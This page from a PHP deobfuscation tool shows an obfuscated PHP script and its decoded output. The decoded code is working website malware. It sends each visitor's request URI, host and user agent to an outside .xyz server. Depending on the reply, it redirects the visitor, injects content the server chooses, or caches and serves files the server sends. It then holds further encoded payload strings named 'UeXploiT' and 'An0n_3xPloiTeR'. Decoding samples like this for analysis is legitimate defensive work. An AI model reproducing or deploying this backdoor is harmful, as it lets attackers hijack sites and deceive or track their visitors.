Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $dizge = 'aWYoJF9TRVJWRVJbYmFzZTY0X2RlY29kZSgnU0ZSVVVGOVZVMFZTWDBGSFJVNVUnKV09PT1iY..

Decoded Output download

<?php if ($_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U') ] === base64_decode('cGluZw==')) exit(base64_decode('b2s='));
function g0($v1) {
    $a2 = curl_init(base64_decode('aHR0cHM6Ly8xM2NmM2RlMjM1ZDc0MDVkYmVlZTAxODc1MTFhMjA0OC54eXovYWE='));
    curl_setopt($a2, CURLOPT_CUSTOMREQUEST, base64_decode('UE9TVA=='));
    curl_setopt($a2, CURLOPT_POSTFIELDS, json_encode(array(base64_decode('dQ==') => $_SERVER[base64_decode('UkVRVUVTVF9VUkk=') ], base64_decode('aA==') => $_SERVER[base64_decode('SFRUUF9IT1NU') ], base64_decode('YQ==') => $_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U') ], base64_decode('Yw==') => $v1)));
    curl_setopt($a2, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($a2, CURLOPT_HTTPHEADER, array(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29u'),));
    $f3 = curl_exec($a2);
    if ($f3 === false) echo base64_decode('Y3VybCBlcnI6IA==') . curl_error($a2);
    curl_close($a2);
    $o4 = json_decode($f3, true);
    return $o4;
}
$o4 = g0(false);
if ($o4[base64_decode('dA==') ] === 1) {
    header($o4[base64_decode('dg==') ], true, 301);
    exit();
} else if ($o4[base64_decode('dA==') ] === 2) {
    echo base64_decode($o4[base64_decode('dg==') ]);
} else if ($o4[base64_decode('dA==') ] === 3) {
    $v5 = sys_get_temp_dir() . base64_decode('Lw==') . $o4[base64_decode('dg==') ];
    if (file_exists($v5)) {
        $u6 = file_get_contents($v5);
        $r7 = 1;
    } else {
        if (!$o4[base64_decode('ZA==') ]) $o4 = g0(true);
        $u6 = base64_decode($o4[base64_decode('ZA==') ]);
        file_put_contents($v5, $u6);
        $r7 = 0;
    }
    header($o4[base64_decode('Yw==') ]);
    header($o4[base64_decode('bA==') ]);
    header(base64_decode('eC1jOiA=') . $r7, true, $o4[base64_decode('cw==') ]);
    echo $u6;
    exit();
}
$UeXploiT = "Sy1LzNFQKyzNL7G2V0svsYYw9YpLiuKL8ksMjTXSqzLz0nISS1KBrNK85PzcgqLU4mLqCCclFqeamcSnpCbnp6RqAO0sSi3TUHHMM8iLN64IyMnPDEkN0kQC1gA=";
$An0n_3xPloiTeR = "=Q+ys2MkEDqTI4Ld8IftFj5D/73HWBwcDNzHgHbMJwH43IMCJPO0das61ng3axHV0jsOGVbgvzijlyvarX/3OVieJdeolJWBxVe9mdGTwrf6NUv0J/Jex90D6Cj0UTbOeigSz+NzNmESUvA26DRRzoeNBptVrW4hAhx/GItJ6j11Xo8JbNNQXMezCpfJvRTJaEHcbW68Xe20WpvVstx5N87NNelcRiPxmqYtqajjo2LJF9FRW9MwPzV8DjR0dIth/q2M3jsIJgplQLJvg1XgRfNP7B/xewlwJb4cIRvJnAbV9l0+Gwm9ba7eK3/2WZGRjtTUB+TviNXeQVDWf/EsFCOm9GEXzBeqGwB5Jpch9qd+8j6JHpVne8dtl8pphE3E3fNUXxBnaaw4TKIBNo2sVBnuqFwxI6Fk++1wF+rZSw0gx7mjwqMCdrZHAx+NuhU6LqxDpj26v/bzKAFwItu4bJj/Rv9pPcKPdkP9tvzMCv67ZtaP8lWKV120SsSoWEkGvADHUjPXlDdgxKrNJCTtoJsPccowYXLNBDJyWez9OVaszSCZDJryduc+8V5051H2CFDjAA0DlKpX5BtwjmgZoE1VpfgoaB3TNfzl5w+33WFtt9JTno/4wgdbXeA9dzVdD1p23arycH4NLWMk9HRZNFEfpYyreIFTt1KrvClxxL+W2I/jp5yUd+Ks8V604UoycLAdI+Jbnt+1YPALkPh0hp1g+TO8PZLBeF2CR4VbysurQA0o1TTsscJMO8RV34zSh3TiBWWVncDmmmXviQHNws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